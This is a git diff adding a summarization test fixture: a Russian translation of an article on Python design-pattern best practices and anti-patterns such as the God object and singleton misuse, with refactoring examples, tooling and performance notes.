Guide +============== diff --git a/tests/summarization/https___nuancesprog.ru_p_31340_.txt b/tests/summarization/https___nuancesprog.ru_p_31340_.txt new file mode 100644 index 0000000..068a524 --- /dev/null +++ b/tests/summarization/https___nuancesprog.ru_p_31340_.txt @@ -0,0 +1,2 @@ +Для написания чистого и эффективного кода важно понимать, когда и какие шаблоны проектирования следует использовать, причем использовать их корректно. Шаблонами проектирования предоставляются проверенные решения типичных проблем проектирования ПО, но их некорректное применение чревато запутанными и сложными в сопровождении кодовыми базами. Рассмотрим передовые практики по реализации шаблонов проектирования в Python, а также распространенные антипаттерны, не желательные для надежного, сопровождаемого, масштабируемого кода. Роль передовых практик в проектировании ПО В программной разработке передовые практики  —  это стандартные рекомендации, по которым разработчики пишут эффективный, сопровождаемый, масштабируемый код. Соблюдением передовых практик обеспечиваются корректное применение шаблонов проектирования, совершенствование общей архитектуры приложения без излишней сложности. Ключевые моменты Согласованность: передовые практики способствуют единообразию кода, облегчая совместную работу команд. Сопровождаемость: следование установленным рекомендациям упрощает будущие модификации и отладку. Масштабируемость: корректной реализацией шаблонов проектирования обеспечивается рост приложений без существенного рефакторинга. Антипаттерны и их влияние Антипаттерны  —  это типичные, неэффективные и контрпродуктивные подходы к решению периодически возникающих проблем. В контексте шаблонов проектирования антипаттерны представляют собой неправильное использование шаблонов или злоупотребление ими, из-за чего код получается трудным для понимания, сопровождения и расширения. Влияние антипаттернов Увеличивается сложность: излишне сложные решения затрудняют перемещение по кодовой базе. Низкая производительность: неэффективные реализации снижают производительность приложений. Проблемы сопровождения: код с антипаттернами более подвержен багам, его труднее обновлять. Передовые практики по реализации шаблонов проектирования Для эффективной реализации шаблонов проектирования требуется вдумчивый подход, обеспечивающий с их помощью решение намеченных проблем без появления новых. 1. Используйте шаблоны для решения актуальных проблем, а не ради самих шаблонов Шаблоны проектирования  —  это не универсальный подход, ими решаются конкретные проблемы. Применение шаблона без очевидной необходимости чревато ненужным усложнением. Пример: Пригодное использование: шаблон «Одиночка», которым управляется один экземпляр подключения к базе данных. Непригодное использование: шаблон «Одиночка» для управления несвязанными объектами, в итоге получается антипаттерн «Божественный объект». 2. Сохраняйте дизайн простым, избегайте чрезмерного усложнения Простота  —  основной принцип проектирования ПО. Чрезмерное усложнение реализаций шаблонами затрудняет понимание кодовой базы и ее сопровождение. Рекомендации: Принцип YAGNI / «Вам это не понадобится»: реализуйте только необходимое. Избегайте перегрузки шаблонов: используйте минимум шаблонов, необходимых для решения проблемы. 3. Поддерживайте гибкость и удобство восприятия кода Удобный для восприятия код проще сопровождать и расширять. Шаблоны проектирования должны совершенствовать структуру кода, не делая ее непонятной. Стратегии: Четкие соглашения об именовании: используйте информативные названия для классов и методов. Модульный дизайн: разбейте сложную функциональность на мелкие, управляемые модули. Слабая связанность: обеспечьте взаимодействие компонентов не через прямые зависимости, а четко определенные интерфейсы. Типичные антипаттерны при применении шаблонов проектирования Непродуманная реализация шаблонов проектирования чревата появлением антипаттернов. Чтобы избежать снижения качества кода, важно распознавать эти типичные ошибки: 1. «Божественный объект» Описание: «божественный объект»  —  это единственный класс, который слишком много «знает» или слишком много «делает» и где централизуются обязанности, которые должны распределяться между классами. Проблемы: Сильная связанность: другие классы становятся зависимыми от «божественного объекта». Слабая целостность: у «божественного объекта» нет единого, четкого назначения. Кошмар сопровождения: изменения в «божественном объекте» чреваты масштабными непредвиденными последствиями. Пример: class GodObject: def __init__(self): self.database = Database() self.logger = Logger() self.user_manager = UserManager() self.order_manager = OrderManager() # ... много других обязанностей def perform_all_operations(self): self.database.connect() self.logger.log("Connected to database.") self.user_manager.create_user() self.order_manager.create_order() # ... много других операций 2. Неправильное использование синглтона Описание: в шаблоне «Одиночка» у класса имеется только один экземпляр, к которому и предоставляется глобальная точка доступа. При некорректном применении синглтоны превращаются в хранилища глобального состояния, что чревато сильной связанностью и трудностями тестирования. Проблемы: Глобальное состояние: из-за синглтонов появляются скрытые зависимости и побочные эффекты. Проблемы тестирования: синглтоны затрудняют написание изолированных модульных тестов. Проблемы конкурентности: конкурентный доступ может осуществляться синглтонами некорректно. Пример: class Logger: _instance = None def __new__(cls): if cls._instance is None: cls._instance = super(Logger, cls).__new__(cls) cls._instance.log_file = open('log.txt', 'w') return cls._instance def log(self, message): self.log_file.write(message + '\n') 3. Злоупотребление наследованием Описание: применение наследования вместо композиции чревато жесткими и хрупкими иерархиями классов. Из-за злоупотребления наследованием изменить или расширить функциональность без ущерба для всей иерархии затруднительно. Проблемы: Сильная связанность: подклассы тесно связаны с реализациями своих суперклассов. Ограниченная гибкость: изменение поведения суперклассов сказывается на подклассах. Дублирование кода: схожая функциональность подклассов чревата дублированным кодом. Пример: class Animal: def eat(self): pass def sleep(self): pass class Dog(Animal): def bark(self): pass class Cat(Animal): def meow(self): pass 4. Загрязнение шаблонов Описание: загрязнение шаблонов происходит, когда шаблоны проектирования применяются без необходимости, из-за чего получаются запутанные и сложные в сопровождении структуры кода. Проблемы: Увеличивается сложность: шаблонов Крутая кривая обучения: новичкам трудно разобраться в переплетении шаблонов. Трудности сопровождения: отладка и расширение такого кода проблематичны. Пример: class Factory: def create_object(self, type): if type == 'A': return DecoratorA(ConcreteA()) elif type == 'B': return DecoratorB(ConcreteB()) # ... применено много шаблонов Как избежать антипаттернов Предотвращение антипаттернов связано с мерами упреждения на этапах проектирования и разработки. Благодаря передовым практикам и бдительности разработчики избегают типичных ошибок. 1. Регулярные проверки кода и рефакторинг Проверки кода: Цель: выявлять и устранять потенциальные антипаттерны на ранней стадии процесса разработки. Практика: для соблюдения принципов проектирования и соответствующего использования шаблонов проводятся экспертные оценки. Рефакторинг: Цель: постоянное совершенствование структуры кода без изменения его внешнего поведения. Практика: регулярным рефакторингом кода устраняются антипаттерны, повышаются удобство восприятия и гибкость. 2. Соблюдение принципа YAGNI Описание: согласно принципу «вам это не понадобится», реализуется только необходимый на текущий момент функционал, а упреждающие или преждевременные реализации шаблонов избегаются. Преимущества: Уменьшается сложность: избегается чрезмерное усложнение, поддерживается простота кодовой базы. Повышается гибкость: по мере возникновения актуальных потребностей упрощаются изменения и расширения. 3. Предпочтение четкому и сопровождаемому коду, а не заумным реализациям Ясность вместо заумности: Принцип: писать код, легко понятный и сопровождаемый, а не слишком заумный или абстрактный. Практика: используются простые решения, которыми четко передается суть, даже если они не столь сложны. Документирование и присвоение имен: Цель: повысить удобство восприятия и понимание кода. Практика: используйте информативные названия для классов, методов и переменных. При необходимости предоставляйте комментарии и документацию. Реальные примеры Фрагментами кода наглядно демонстрируются корректные и некорректные реализации шаблонов проектирования, благодаря этому осваиваются передовые практики и избегаются антипаттерны. 1. Корректная и некорректная реализации шаблона «Одиночка» Некорректная реализация с неправильным использованием синглтона: class Logger: _instance = None def __new__(cls): if cls._instance is None: cls._instance = super(Logger, cls).__new__(cls) cls._instance.log_file = open('log.txt', 'w') return cls._instance def log(self, message): self.log_file.write(message + '\n') Проблемы: Глобальное состояние: в логгере содержится глобальное состояние, поэтому управление и тестирование затруднительны. Проблемы конкурентности: одновременные попытки потоков создать экземпляры чреваты состояниями гонок. Корректная реализация с использованием метакласса для потокобезопасности: import threading class SingletonMeta(type): _instance = None _lock: threading.Lock = threading.Lock() # Обеспечивается потокобезопасный синглон def __call__(cls, *args, **kwargs): with cls._lock: if cls._instance is None: cls._instance = super(SingletonMeta, cls).__call__(*args, **kwargs) return cls._instance class Logger(metaclass=SingletonMeta): def __init__(self): self.log_file = open('log.txt', 'w') def log(self, message): self.log_file.write(message + '\n') Доработки: Потокобезопасность: состояния гонок предотвращаются блокировкой. Контролируемый доступ: гарантируется наличие лишь одного экземпляра, глобальное состояние не предоставляется. 2. Избежание антипаттерна «Божественный объект» Некорректная реализация с «Божественным объектом»: class GodObject: def __init__(self): self.database = Database() self.logger = Logger() self.user_manager = UserManager() self.order_manager = OrderManager() # ... много других обязанностей def perform_all_operations(self): self.database.connect() self.logger.log("Connected to database.") self.user_manager.create_user() self.order_manager.create_order() # ... много других операций Проблемы: Нарушение принципа единственной ответственности: в GodObject выполняются несвязанные задачи. Сильная связанность: другие части кода сильно зависят от GodObject. Корректная реализация с разделением обязанностей: class DatabaseManager: def connect(self): # Подключение к базе данных pass class Logger: def log(self, message: str) -> None: print(message) class UserManager: def create_user(self): # Создается пользователь pass class OrderManager: def create_order(self): # Создается заказ pass class Application: def __init__(self): self.database_manager = DatabaseManager() self.logger = Logger() self.user_manager = UserManager() self.order_manager = OrderManager() def perform_operations(self): self.database_manager.connect() self.logger.log("Connected to database.") self.user_manager.create_user() self.order_manager.create_order() Доработки: Единственная ответственность: каждым классом выполняется конкретная задача. Слабая связанность: классом Application координируются взаимодействия, ни один класс при этом не перегружается. 3. Загрязнение шаблонов: злоупотребление декораторами Некорректная реализация с загрязнением шаблонов: class BaseComponent: def operation(self): pass class DecoratorA(BaseComponent): def __init__(self, component: BaseComponent): self.component = component def operation(self): # Дополнительное поведение «A» self.component.operation() # Дополнительное поведение «A» class DecoratorB(BaseComponent): def __init__(self, component: BaseComponent): self.component = component def operation(self): # Дополнительное поведение «B» self.component.operation() # Дополнительное поведение «B» class DecoratorC(BaseComponent): def __init__(self, component: BaseComponent): self.component = component def operation(self): # Дополнительное поведение «C» self.component.operation() # Дополнительное поведение «C» # Злоупотребление: применение декоратором без необходимости component = DecoratorA(DecoratorB(DecoratorC(BaseComponent()))) component.operation() Проблемы: Глубоко вложенные декораторы: затрудняют отслеживание и сопровождение кода. Излишняя сложность: чрезмерное усложнение компонента слоями. Корректная реализация с выборочным использование декораторов: class BaseComponent: def operation(self): pass class DecoratorA(BaseComponent): def __init__(self, component: BaseComponent): self.component = component def operation(self): # Дополнительное поведение «A» self.component.operation() class DecoratorB(BaseComponent): def __init__(self, component: BaseComponent): self.component = component def operation(self): # Дополнительное поведение «B» self.component.operation() # Применяются только необходимые декораторы component = DecoratorA(BaseComponent()) component.operation() Доработки: Упрощена структура: меньше декораторов  —  меньше сложность. Акцентированные доработки: декораторы используются только там, где действительно требуется дополнительное поведение. 4. Корректная и некорректная реализации шаблона «Строитель» Некорректная реализация: чрезмерное усложнение шаблоном «Строитель»: from dataclasses import dataclass, field from typing import Any, List, Optional @dataclass class Car: make: str model: str year: int color: str = "Black" engine: str = "V6" options: List[str] = field(default_factory=list) owner: Any = None insurance: Any = None maintenance_records: List[Any] = field(default_factory=list) # ... много других атрибутов class CarBuilder: def __init__(self): self.make: Optional[str] = None self.model: Optional[str] = None self.year: Optional[int] = None self.color: str = "Black" self.engine: str = "V6" self.options: List[str] = [] self.owner: Any = None self.insurance: Any = None self.maintenance_records: List[Any] = [] # ... много методов установки для каждого атрибута def set_make(self, make: str) -> 'CarBuilder': self.make = make return self def set_model(self, model: str) -> 'CarBuilder': self.model = model return self def set_year(self, year: int) -> 'CarBuilder': self.year = year return self def set_color(self, color: str) -> 'CarBuilder': self.color = color return self def set_engine(self, engine: str) -> 'CarBuilder': self.engine = engine return self def add_option(self, option: str) -> 'CarBuilder': self.options.append(option) return self def set_owner(self, owner: Any) -> 'CarBuilder': self.owner = owner return self def set_insurance(self, insurance: Any) -> 'CarBuilder': self.insurance = insurance return self def add_maintenance_record(self, record: Any) -> 'CarBuilder': self.maintenance_records.append(record) return self def build(self) -> Car: if self.make is None or self.model is None or self.year is None: raise ValueError("Make, model, and year are required fields.") return Car( make=self.make, model=self.model, year=self.year, color=self.color, engine=self.engine, options=self.options.copy(), owner=self.owner, insurance=self.insurance, maintenance_records=self.maintenance_records.copy() # ... инициализируется много других атрибутов ) # Чрезмерное применение builder = CarBuilder() car = (builder.set_make("Toyota") .set_model("Camry") .set_year(2022) .set_color("Red") .add_option("Sunroof") .add_option("Leather Seats") .set_owner(owner_object) .set_insurance(insurance_object) .add_maintenance_record(record1) .add_maintenance_record(record2) # ... много других конфигураций .build()) print(car) Анализ: Чрезмерное усложнение: «Строителем» обрабатывается слишком много атрибутов, получается громоздко. Проблемы сопровождения: при добавлении или удалении атрибутов изменения вносятся в несколько методов, риск ошибок увеличивается. Корректная реализация с упрощенным шаблоном «Строителя»: from dataclasses import dataclass, field from typing import List, Optional @dataclass class Car: make: str model: str year: int color: str = "Black" engine: str = "V6" options: List[str] = field(default_factory=list) class CarBuilder: def __init__(self): self.make: Optional[str] = None self.model: Optional[str] = None self.year: Optional[int] = None self.color: str = "Black" self.engine: str = "V6" self.options: List[str] = [] def set_make(self, make: str) -> 'CarBuilder': self.make = make return self def set_model(self, model: str) -> 'CarBuilder': self.model = model return self def set_year(self, year: int) -> 'CarBuilder': self.year = year return self def set_color(self, color: str) -> 'CarBuilder': self.color = color return self def set_engine(self, engine: str) -> 'CarBuilder': self.engine = engine return self def add_option(self, option: str) -> 'CarBuilder': self.options.append(option) return self def build(self) -> Car: if self.make is None or self.model is None or self.year is None: raise ValueError("Make, model, and year are required fields.") return Car( make=self.make, model=self.model, year=self.year, color=self.color, engine=self.engine, options=self.options.copy() ) # Упрощенное применение builder = CarBuilder() car = (builder.set_make("Toyota") .set_model("Camry") .set_year(2022) .set_color("Red") .add_option("Sunroof") .add_option("Leather Seats") .build()) print(car) Преимущества: Простота: «Строителем» теперь обрабатываются только необходимые атрибуты, управление упрощается. Сопровождаемость: добавление функционала требует минимальных изменений в «Строителе». Инструменты и техники Чтобы корректно реализовать шаблоны проектирования, избегая антипаттернов и оставляя код Python чистым, эффективным, сопровождаемым, используются инструменты и техники. 1. Библиотеки и фреймворки шаблонов проектирования Цель: в этих библиотеках содержатся предопределенные реализации типовых шаблонов как справочный материал или основа для создаваемых реализаций. Примеры: Библиотека patterns: это набор реализаций шаблонов проектирования на Python, используемых как примеры или расширяемых под конкретные требования. pip install patterns PyPatterns: другая библиотека с питоническими реализациями шаблонов проектирования, полезная для их понимания и применения. Пример использования: from patterns.creational.singleton import Singleton class Database(metaclass=Singleton): def connect(self): print("Connecting to the database.") # Применение db1 = Database() db2 = Database() print(db1 is db2) # Вывод: True 2. Линтеры и инструменты статического анализа Цель: линтеры и инструменты статического анализа способствуют применению стандартов написания кода, выявлению потенциальных ошибок и кода с запашко́м  —  признака антипаттернов. Популярные инструменты: Pylint: код Python анализируется на наличие ошибок, обеспечивается применение стандартов написания кода, выявляется код с запашко́м. pip install pylint pylint your_code.py Flake8: проверка соответствия PEP8 сочетается с обнаружением ошибок. pip install flake8 flake8 your_code.py MyPy: проверяется корректность аннотаций типов, обеспечивается эффективное применение подсказок типов. pip install mypy mypy your_code.py Преимущества: Раннее обнаружение: потенциальные проблемы выявляются до того, как становятся багами. Обеспечивается применение стандартов: поддерживается согласованность кодовой базы. Предотвращение антипаттернов: выявляется код с запашко́м  —  признак антипаттернов  —  и запрашивается рефакторинг. 3. Фреймворки автоматизированного тестирования Цель: проверка корректности реализаций шаблонов проектирования и обнаружение регрессий, для этого создаются и выполняются тесты. Популярные фреймворки: Unittest: встроенный в Python фреймворк тестирования для написания и выполнения модульных тестов. import unittest class TestSingleton(unittest.TestCase): def test_singleton_instance(self): db1 = Database() db2 = Database() self.assertIs(db1, db2) if __name__ == '__main__': unittest.main() PyTest: расширенный фреймворк тестирования, которым упрощается написание тестов и поддерживаются тестовые конфигурации, параметризация, плагины. pip install pytest pytest Библиотеки мок-объектов: Unittest.mock: тестируемые части системы заменяются мок-объектами, делаются выводы об их использовании. from unittest.mock import MagicMock class TestDecorator(unittest.TestCase): def test_decorator_adds_behavior(self): base = MagicMock() decorator = DecoratorA(base) decorator.operation() base.operation.assert_called_once() Преимущества: Обеспечивается корректность: проверяется, что поведение реализаций шаблонов проектирования обходится без неожиданностей. Облегчается рефакторинг: в код уверенно вносятся изменения при помощи автоматизированных тестов, которыми выявляются регрессии. Применяются передовые практики: для написания тестопригодного, сопровождаемого кода. Дополнительные темы Рассмотрим применение шаблонов проектирования в микросервисах и распределенных системах, асинхронные реализации, показатели производительности и стратегии перехода от антипаттернов к передовым практикам. 1. Шаблоны микросервисов и распределенных систем В микросервисах и распределенных системах шаблонами проектирования осуществляется управление сложностью, обеспечиваются масштабируемость и надежность. Вот ключевые шаблоны: Регистрация и обнаружение сервисов: сервисы находят друг друга динамически. «Выключатель»: отслеживанием взаимодействий сервисов предотвращаются каскадные сбои. API-шлюз: это единая точка входа для клиентских запросов, здесь осуществляются маршрутизация, аутентификация и не только. Пример шаблона «Выключатель»: import requests from pybreaker import CircuitBreaker, CircuitBreakerError circuit_breaker = CircuitBreaker(fail_max=5, reset_timeout=60) @circuit_breaker def fetch_data(url: str): response = requests.get(url) response.raise_for_status() return response.json() # Использование try: data = fetch_data("https://api.example.com/data") except CircuitBreakerError: print("Service is unavailable. Please try again later.") 2. Реализации асинхронного шаблона Асинхронное программирование важно для приложений с ограничением скорости ввода-вывода и высокой конкурентностью. Шаблоны проектирования легко адаптируются для работы с asyncio на Python. Пример асинхронного шаблона «Наблюдатель»: import asyncio from abc import ABC, abstractmethod from typing import List class Observer(ABC): @abstractmethod async def update(self, message: str) -> None: pass class ConcreteObserver(Observer): async def update(self, message: str) -> None: await asyncio.sleep(1) print(f"Observer received: {message}") class Subject: def __init__(self): self._observers: List[Observer] = [] def register(self, observer: Observer) -> None: self._observers.append(observer) async def notify(self, message: str) -> None: await asyncio.gather(*(observer.update(message) for observer in self._observers)) # Использование async def main(): subject = Subject() observer1 = ConcreteObserver() observer2 = ConcreteObserver() subject.register(observer1) subject.register(observer2) await subject.notify("Hello, Observers!") asyncio.run(main()) 3. Показатели и сопоставления производительности Чтобы оптимизировать приложения, важно понимать влияние шаблонов проектирования на производительность. Реализации оцениваются сопоставлением плюсов и минусов. Пример сопоставления для шаблона «Декоратор»: import time from functools import wraps def decorator(func): @wraps(func) def wrapper(*args, **kwargs): # Дополнительное поведение return func(*args, **kwargs) return wrapper @decorator def compute(): return sum(range(1000)) # Сопоставление start = time.time() for _ in range(1000000): compute() end = time.time() print(f"Decorator pattern: {end - start:.4f} seconds") # Прямой вызов def compute_direct(): return sum(range(1000)) start = time.time() for _ in range(1000000): compute_direct() end = time.time() print(f"Direct call: {end - start:.4f} seconds") Пример вывода: Decorator pattern: 1.5000 seconds Direct call: 1.2000 seconds Анализ: Накладные расходы декоратора: дополнительными вызовами функции обусловливается небольшое снижение производительности декоратора. Компромиссы: декораторы, несмотря на их гибкость и расширенную функциональность, сказываются на производительности в высокочастотных сценариях. 4. Стратегии перехода от антипаттернов к передовым практикам При переходе от антипаттернов к передовым практикам имеющиеся проблемы решаются систематическим рефакторингом и применением соответствующих шаблонов проектирования. Пример пошагового перехода: рефакторинг «божественного объекта». Перед рефакторингом «божественного объекта»: class GodObject: def __init__(self): self.database = Database() self.logger = Logger() self.user_manager = UserManager() self.order_manager = OrderManager() # ... много других обязанностей def perform_all_operations(self): self.database.connect() self.logger.log("Connected to database.") self.user_manager.create_user() self.order_manager.create_order() # ... много других операций После рефакторинга с разделением обязанностей: class DatabaseManager: def connect(self): # Подключение к базе данных pass class Logger: def log(self, message: str) -> None: print(message) class UserManager: def create_user(self): # Создается пользователь pass class OrderManager: def create_order(self): # Создается заказ pass class Application: def __init__(self): self.database_manager = DatabaseManager() self.logger = Logger() self.user_manager = UserManager() self.order_manager = OrderManager() def perform_operations(self): self.database_manager.connect() self.logger.log("Connected to database.") self.user_manager.create_user() self.order_manager.create_order() Преимущества: Единственная ответственность: каждым классом выполняется конкретная задача. Слабая связанность: классом Application координируются взаимодействия, ни один класс при этом не перегружается. Повышенная сопровождаемость: изменения в одном компоненте не сказываются на несвязанных компонентах. Производительность Как шаблоны проектирования влияют на производительность В продвинутых шаблонах проектирования часто появляются дополнительные уровни абстракции, которые сказываются на производительности по-разному: Увеличением вызовов методов: в шаблонах вроде «Декоратора» и «Посетителя» имеется несколько обращений к методам, что потенциально чревато замедлением выполнения. Увеличением расхода памяти: на создание дополнительных объектов или оберток. Сложностью взаимодействий с объектами: в шаблонах вроде «Посредника» появляются разветвленные пути обмена данными, которые сказываются на производительности. Динамической диспетчеризацией: динамическое разрешение методов в шаблонах с полиморфизмом чревато накладными расходами. Однако все это обычно перевешивается преимуществами сопровождаемости, гибкости и масштабируемости кода, особенно в крупных приложениях. Оптимизация реализаций шаблонов в целях эффективности Влияние продвинутых шаблонов на производительность ограничивается такими стратегиями: (1) Отложенная инициализация: Описание: создание объектов откладывается до тех пор, пока они не понадобятся, так экономятся ресурсы. from dataclasses import dataclass, field from typing import Any @dataclass class LazyDecorator(CoffeeDecorator): def __init__(self, logger_factory: Any) -> None: self._logger_factory = logger_factory self._logger = None def log(self, message: str) -> None: if not self._logger: self._logger = self._logger_factory() self._logger.log(message) (2) Минимизация создаваемых объектов: Описание: где возможно, объекты переиспользуются, так сокращаются расход памяти и затраты на сборку мусора. from dataclasses import dataclass @dataclass class SingletonLoggerFactory: _instance: Any = None @classmethod def get_instance(cls) -> Any: if cls._instance is None: cls._instance = ConsoleLogger() return cls._instance (3) Эффективные структуры данных: Описание: применяются оптимизированные структуры данных, у которых выше производительность конкретных операций. from collections import defaultdict from dataclasses import dataclass, field from typing import Any, List @dataclass class EfficientObserver(Mediator): _observers: defaultdict[str, List[Any]] = field(default_factory=lambda: defaultdict(list)) def register_observer(self, event: str, observer: Any) -> None: self._observers[event].append(observer) def notify_observers(self, event: str, data: Any) -> None: for observer in self._observers[event]: observer.update(data) (4) Профилирование и сопоставление: Описание: для выявления узких мест производительности, обусловленных шаблонами проектирования, приложение регулярно профилируется. import cProfile def main(): # Логика приложения pass if __name__ == '__main__': cProfile.run('main()') (5) Избежание лишних абстракций: Описание: шаблоны реализуются только там, где ими предоставляются очевидные преимущества, чрезмерные усложнения избегаются. # Простой вариант применения без лишних шаблонов class SimpleLogger: def log(self, message: str) -> None: print(message) Пример сопоставления производительности Сравнение производительности двух реализаций: простой и с шаблоном «Декоратора»: import time from functools import wraps def decorator(func): @wraps(func) def wrapper(*args, **kwargs): # Дополнительное поведение return func(*args, **kwargs) return wrapper @decorator def compute(): return sum(range(1000)) def compute_direct(): return sum(range(1000)) # Сопоставление start = time.time() for _ in range(1000000): compute() end = time.time() print(f"Decorator pattern: {end - start:.4f} seconds") start = time.time() for _ in range(1000000): compute_direct() end = time.time() print(f"Direct call: {end - start:.4f} seconds") Пример вывода: Decorator pattern: 1.5000 seconds Direct call: 1.2000 seconds Анализ: Накладные расходы декоратора: дополнительными вызовами функции обусловливается небольшое снижение производительности декоратора. Компромиссы: декораторы, несмотря на их гибкость и расширенную функциональность, сказываются на производительности в высокочастотных сценариях. Итоги: использование шаблонов проектирования, хотя и чревато снижением производительности, часто оправдано преимуществами в сопровождаемости, гибкости и масштабируемости кода. Важно приводить принципы проектирования в соответствие с требованиями по производительности и, где это необходимо, оптимизировать реализации. Стратегии перехода При переходе от антипаттернов к передовым практикам имеющиеся проблемы решаются систематическим рефакторингом и применением соответствующих шаблонов проектирования. 1. Выявление антипаттернов Выявление имеющихся антипаттернов начинается с анализа кодовой базы. Вот типичные их признаки: «Божественные объекты»: классы, которыми выполняется слишком много обязанностей. Чрезмерное наследование: глубокие и жесткие иерархии классов. Глобальное состояние: синглтоны или глобальные переменные, которыми управляется общее состояние. 2. Выбор шаблона проектирования Шаблон проектирования выбирается под конкретный выявленный антипаттерн. Например: «Божественный объект»: для управления взаимодействиями и обязанностями используется шаблон «Фасад» или «Посредник». Чрезмерное наследование: наследованию предпочитается композиция в шаблонах вроде «Стратегии» или «Декоратора». Глобальное состояние: для управления общими ресурсами синглтоны заменяются внедрением зависимостей. 3. Планирование процесса рефакторинга Чтобы реализовать выбранный шаблон без нарушения имеющейся функциональности, разрабатывается пошаговый план: Модульный рефакторинг: большие классы разбиваются на мелкие, специализированные классы. Постепенные изменения: они вносятся небольшими управляемыми этапами, при этом обеспечивается, что каждый этап будет проверен и стабилен. Резервное копирование и контроль версий: чтобы отслеживать изменения и при необходимости легко откатываться, используется система контроля версий. 4. Реализация и тестирование При выполнении плана рефакторинга обеспечивается, что: Функциональность остается неизменной: при внедрении новых структур имеющийся функционал сохраняется. Комплексное тестирование: что поведение перепроектированного кода обходится без неожиданностей, проверяется модульными и интеграционными тестами. 5. Проверки и повтор После реализации: Проверки кода: соблюдение передовых практик обеспечивается просмотром изменений коллегами. Мониторинг производительности: оценивается влияние новых шаблонов на производительность и при необходимости оптимизируется. Постоянное совершенствование: процесс рефакторинга повторяется, при этом решаются любые возникающие проблемы. Пример преобразования «божественного объекта» в модульные компоненты Перед рефакторингом «божественного объекта»: class GodObject: def __init__(self): self.database = Database() self.logger = Logger() self.user_manager = UserManager() self.order_manager = OrderManager() # ... много других обязанностей def perform_all_operations(self): self.database.connect() self.logger.log("Connected to database.") self.user_manager.create_user() self.order_manager.create_order() # ... много других операций После рефакторинга с разделением обязанностей: class DatabaseManager: def connect(self): # Подключение к базе данных pass class Logger: def log(self, message: str) -> None: print(message) class UserManager: def create_user(self): # Создается пользователь pass class OrderManager: def create_order(self): # Создается заказ pass class Application: def __init__(self): self.database_manager = DatabaseManager() self.logger = Logger() self.user_manager = UserManager() self.order_manager = OrderManager() def perform_operations(self): self.database_manager.connect() self.logger.log("Connected to database.") self.user_manager.create_user() self.order_manager.create_order() Преимущества: Единственная ответственность: каждым классом выполняется конкретная задача. Слабая связанность: классом Application координируются взаимодействия, ни один класс при этом не перегружается. Повышенная сопровождаемость: изменения в одном компоненте не сказываются на несвязанных компонентах. Рекомендации по реализации Практическими рекомендациями по реализации шаблонов проектирования, в том числе обусловленными их контекстом разновидностями, устранением неполадок, компоновкой шаблонов и реальными сценариями, обеспечивается эффективное применение этих шаблонов разработчиками в своих проектах. 1. Обусловленные контекстом разновидности шаблонов Шаблоны проектирования часто адаптируют к конкретным контекстам или требованиям. Пример контекстуализации шаблона «Фабрика» для микросервисов: from abc import ABC, abstractmethod class Service(ABC): @abstractmethod def execute(self): pass class UserService(Service): def execute(self): print("Executing User Service") class OrderService(Service): def execute(self): print("Executing Order Service") class ServiceFactory: @staticmethod def get_service(service_type: str) -> Service: if service_type == 'user': return UserService() elif service_type == 'order': return OrderService() else: raise ValueError("Unknown service type") # Использование в архитектуре микросервисов service = ServiceFactory.get_service('user') service.execute() 2. Рекомендации по устранению типичных проблем Выявлением и устранением типичных проблем реализаций шаблонов экономится время, повышается качество кода. Проблема: экземпляр синглтона не переиспользуется. Этапы по устранению: Проверка реализации метакласса: обеспечивается, что создание экземпляра корректно управляется метаклассом синглтона. Проверка наличия определений метаклассов: избегается определение метаклассов, которые вмешиваются в поведение синглтона. Проверка потокобезопасности: для недопущения экземпляров в условиях многопоточности подтверждается, что реализация синглтона потокобезопасна. Решение: Реализуется потокобезопасный метакласс синглтона, а конкурентный доступ управляется блокировками. import threading class SingletonMeta(type): _instance = None _lock: threading.Lock = threading.Lock() def __call__(cls, *args, **kwargs): with cls._lock: if cls._instance is None: cls._instance = super(SingletonMeta, cls).__call__(*args, **kwargs) return cls._instance 3. Примеры компоновки шаблонов Сочетанием шаблонов проектирования сложные проблемы решаются эффективнее. Пример сочетания шаблонов «Фабрика» и «Декоратор» для большей гибкости: from abc import ABC, abstractmethod from functools import wraps class Component(ABC): @abstractmethod def operation(self): pass class ConcreteComponent(Component): def operation(self): print("ConcreteComponent Operation") class Decorator(Component): def __init__(self, component: Component): self._component = component @abstractmethod def operation(self): pass class ConcreteDecoratorA(Decorator): def operation(self): self._component.operation() self.add_behavior() def add_behavior(self): print("DecoratorA adds behavior") class ConcreteDecoratorB(Decorator): def operation(self): self._component.operation() self.add_behavior() def add_behavior(self): print("DecoratorB adds behavior") class ComponentFactory: @staticmethod def create_component(decorators: list = None) -> Component: component = ConcreteComponent() if decorators: for decorator_cls in decorators: component = decorator_cls(component) return component # Использование decorated_component = ComponentFactory.create_component([ConcreteDecoratorA, ConcreteDecoratorB]) decorated_component.operation() Вывод: ConcreteComponent Operation DecoratorA adds behavior DecoratorB adds behavior Заключение Важность постоянного изучения и отслеживания антипаттернов Шаблоны проектирования  —  это мощные инструменты, при корректной реализации которых значительно повышаются качество и сопровождаемость приложений Python. Однако неправильное использование или злоупотребление этими шаблонами чревато появлением антипаттернов, из-за которых снижается качество кода и затрудняется разработка. Благодаря передовым практикам  —  использование шаблонов для решения актуальных проблем, сохранение простоты дизайна и удобства кода  —  и бдительному отслеживанию типичных антипаттернов вроде «Божественных объектов», неправильного использования синглтона, злоупотребления наследованием и загрязнения шаблонами, эффективным применением шаблонов проектирования разработчики создают надежные, масштабируемые и сопровождаемые программные системы. Сбалансированный подход к использованию шаблонов проектирования Сбалансированный подход подразумевает понимание, когда и как применять шаблоны проектирования, избегая соблазна использовать все подряд. Это: Оценка потребностей: тщательно оценивается, решается ли шаблоном конкретная проблема в кодовой базе. Упрощение дизайна: в стремлении к простоте шаблоны используются для совершенствования, а не усложнения. Продуманный рефакторинг: структуры кода постоянно совершенствуются, антипаттерны заменяются добротно реализованными шаблонами проектирования. Развивая осознанный подход к шаблонам проектирования, разработчики создают надежные, сопровождаемые и масштабируемые приложения, которые выдерживают испытание временем. Ресурсы для дальнейшего обучения Книги: Приемы объектно-ориентированного проектирования. Паттерны проектирования / Э. Гамма, Р. Хелм, Р. Джонсон, Д. Влиссидес; Python и паттерны проектирования / Ч. Гиридхар. Онлайн-руководства: Refactoring Guru  —  исчерпывающие объяснения и примеры шаблонов проектирования. Шаблоны Python  —  практические реализации шаблонов проектирования на Python. Курсы: Шаблоны проектирования на Python в Udemy. Освоение шаблонов проектирования на Python в Coursera. Повышайте качество и эффективность кода на Python, применяя эти передовые практики и бдительно отслеживая антипаттерны. Читайте также: Python 4.0: программирование следующего поколения Аттестации: новое поколение подписей в PyPI Линейная регрессия — реализация на Python Читайте нас в Telegram, VK и Дзен Перевод статьи Paul Ammann: Python Design Patterns: Best Practices and Anti-Patterns +============== diff --git 